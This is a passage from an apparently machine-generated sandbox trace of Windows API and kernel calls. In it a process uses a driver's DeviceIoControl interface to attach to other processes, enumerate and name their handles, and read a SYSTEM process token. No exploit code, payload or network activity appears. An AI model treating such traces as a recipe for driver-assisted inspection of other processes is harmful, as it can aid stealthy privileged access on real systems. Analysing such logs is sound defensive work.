ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.299] ObfDereferenceObject (Object=0xfffffa8003093b30) returned 0x2 [0093.299] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.299] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.299] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.299] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.299] PsAcquireProcessExitSynchronization () returned 0x0 [0093.299] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0) [0093.299] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030939e0, HandleInformation=0x0) returned 0x0 [0093.299] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.299] PsReleaseProcessExitSynchronization () returned 0x2 [0093.299] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7a [0093.299] ObQueryNameString (in: Object=0xfffffa80030939e0, ObjectNameInfo=0xfffffa800399a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800399a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.299] ObfDereferenceObject (Object=0xfffffa80030939e0) returned 0x1 [0093.299] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.299] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.299] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.299] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.299] PsAcquireProcessExitSynchronization () returned 0x0 [0093.299] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0) [0093.299] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003093890, HandleInformation=0x0) returned 0x0 [0093.299] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.299] PsReleaseProcessExitSynchronization () returned 0x2 [0093.299] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7a [0093.299] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003a7f044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a7f044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.299] ObfDereferenceObject (Object=0xfffffa8003093890) returned 0x1 [0093.300] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.300] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.300] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.300] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.300] PsAcquireProcessExitSynchronization () returned 0x0 [0093.300] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0) [0093.300] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002d50dd0, HandleInformation=0x0) returned 0x0 [0093.300] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.300] PsReleaseProcessExitSynchronization () returned 0x2 [0093.300] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7a [0093.300] ObQueryNameString (in: Object=0xfffffa8002d50dd0, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.300] ObfDereferenceObject (Object=0xfffffa8002d50dd0) returned 0x2 [0093.300] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.300] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.300] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.300] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.300] PsAcquireProcessExitSynchronization () returned 0x0 [0093.300] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0) [0093.300] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003093c80, HandleInformation=0x0) returned 0x0 [0093.300] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.300] PsReleaseProcessExitSynchronization () returned 0x2 [0093.300] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7a [0093.300] ObQueryNameString (in: Object=0xfffffa8003093c80, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.300] ObfDereferenceObject (Object=0xfffffa8003093c80) returned 0x1 [0093.300] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.300] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.300] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.300] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.300] PsAcquireProcessExitSynchronization () returned 0x0 [0093.300] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0) [0093.301] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002d50c80, HandleInformation=0x0) returned 0x0 [0093.301] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.301] PsReleaseProcessExitSynchronization () returned 0x2 [0093.301] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7a [0093.301] ObQueryNameString (in: Object=0xfffffa8002d50c80, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.301] ObfDereferenceObject (Object=0xfffffa8002d50c80) returned 0x1 [0093.301] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.301] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.301] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.301] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.301] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.301] PsAcquireProcessExitSynchronization () returned 0x0 [0093.301] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0) [0093.301] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002fc1a80, HandleInformation=0x0) returned 0x0 [0093.301] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.301] PsReleaseProcessExitSynchronization () returned 0x2 [0093.301] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7a [0093.301] ObQueryNameString (in: Object=0xfffffa8002fc1a80, ObjectNameInfo=0xfffffa800211e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211e044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.301] ObfDereferenceObject (Object=0xfffffa8002fc1a80) returned 0x2 [0093.301] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.301] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.301] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.301] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.301] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.301] PsAcquireProcessExitSynchronization () returned 0x0 [0093.301] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0) [0093.301] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002fc1bd0, HandleInformation=0x0) returned 0x0 [0093.301] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.301] PsReleaseProcessExitSynchronization () returned 0x2 [0093.301] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7a [0093.301] ObQueryNameString (in: Object=0xfffffa8002fc1bd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.301] ObfDereferenceObject (Object=0xfffffa8002fc1bd0) returned 0x2 [0093.302] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.302] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.302] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0093.302] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.302] PsAcquireProcessExitSynchronization () returned 0x0 [0093.302] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0) [0093.302] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003212420, HandleInformation=0x0) returned 0x0 [0093.302] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.302] PsReleaseProcessExitSynchronization () returned 0x2 [0093.302] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7a [0093.302] ObQueryNameString (in: Object=0xfffffa8003212420, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.302] ObfDereferenceObject (Object=0xfffffa8003212420) returned 0x2 [0093.302] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.302] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.302] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.302] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.302] PsAcquireProcessExitSynchronization () returned 0x0 [0093.302] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0) [0093.302] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002fc2070, HandleInformation=0x0) returned 0x0 [0093.302] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.302] PsReleaseProcessExitSynchronization () returned 0x2 [0093.302] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7a [0093.302] ObQueryNameString (in: Object=0xfffffa8002fc2070, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.302] ObfDereferenceObject (Object=0xfffffa8002fc2070) returned 0x2 [0093.302] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.302] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.302] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.302] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.302] PsAcquireProcessExitSynchronization () returned 0x0 [0093.302] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880052335d0) [0093.303] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002fbd540, HandleInformation=0x0) returned 0x0 [0093.303] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.303] PsReleaseProcessExitSynchronization () returned 0x2 [0093.303] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7a [0093.303] ObQueryNameString (in: Object=0xfffffa8002fbd540, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.303] ObfDereferenceObject (Object=0xfffffa8002fbd540) returned 0x2 [0093.303] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.303] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.303] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e0) returned 0xc0 [0093.303] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.303] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8003055910, HandleInformation=0x0) returned 0x0 [0093.303] ObOpenObjectByPointer (in: Object=0xfffffa8003055910, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000810) returned 0x0 [0093.303] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe6 [0093.303] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000810, DesiredAccess=0x8, TokenHandle=0xfffffa80038b3240 | out: TokenHandle=0xfffffa80038b3240*=0xc8) returned 0x0 [0093.303] ZwClose (Handle=0xffffffff80000810) returned 0x0 [0093.303] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.303] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.303] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.304] CloseHandle (hObject=0xc8) returned 1 [0093.304] CloseHandle (hObject=0xc0) returned 1 [0093.305] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.305] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.305] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.305] PsAcquireProcessExitSynchronization () returned 0x0 [0093.305] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.305] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800302d760, HandleInformation=0x0) returned 0x0 [0093.305] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.305] PsReleaseProcessExitSynchronization () returned 0x2 [0093.305] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.305] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.305] ObfDereferenceObject (Object=0xfffffa800302d760) returned 0x1 [0093.305] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.305] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.305] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.305] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.305] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.305] PsAcquireProcessExitSynchronization () returned 0x0 [0093.305] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.305] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089fcde0, HandleInformation=0x0) returned 0x0 [0093.305] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.305] PsReleaseProcessExitSynchronization () returned 0x2 [0093.305] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.305] ObQueryNameString (in: Object=0xfffff8a0089fcde0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.305] ObfDereferenceObject (Object=0xfffff8a0089fcde0) returned 0x2 [0093.305] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.305] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.305] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.305] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0093.305] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.306] PsAcquireProcessExitSynchronization () returned 0x0 [0093.306] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.306] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089f6320, HandleInformation=0x0) returned 0x0 [0093.306] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.306] PsReleaseProcessExitSynchronization () returned 0x2 [0093.306] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.306] ObQueryNameString (in: Object=0xfffff8a0089f6320, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0093.306] ObfDereferenceObject (Object=0xfffff8a0089f6320) returned 0x2 [0093.306] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.306] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.306] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.306] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.306] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.306] PsAcquireProcessExitSynchronization () returned 0x0 [0093.306] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.306] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003086a20, HandleInformation=0x0) returned 0x0 [0093.306] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.306] PsReleaseProcessExitSynchronization () returned 0x2 [0093.306] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.306] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.306] ObfDereferenceObject (Object=0xfffffa8003086a20) returned 0x1 [0093.306] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.306] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.306] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.306] DeviceIoControl (in: hDevice=0x7c, 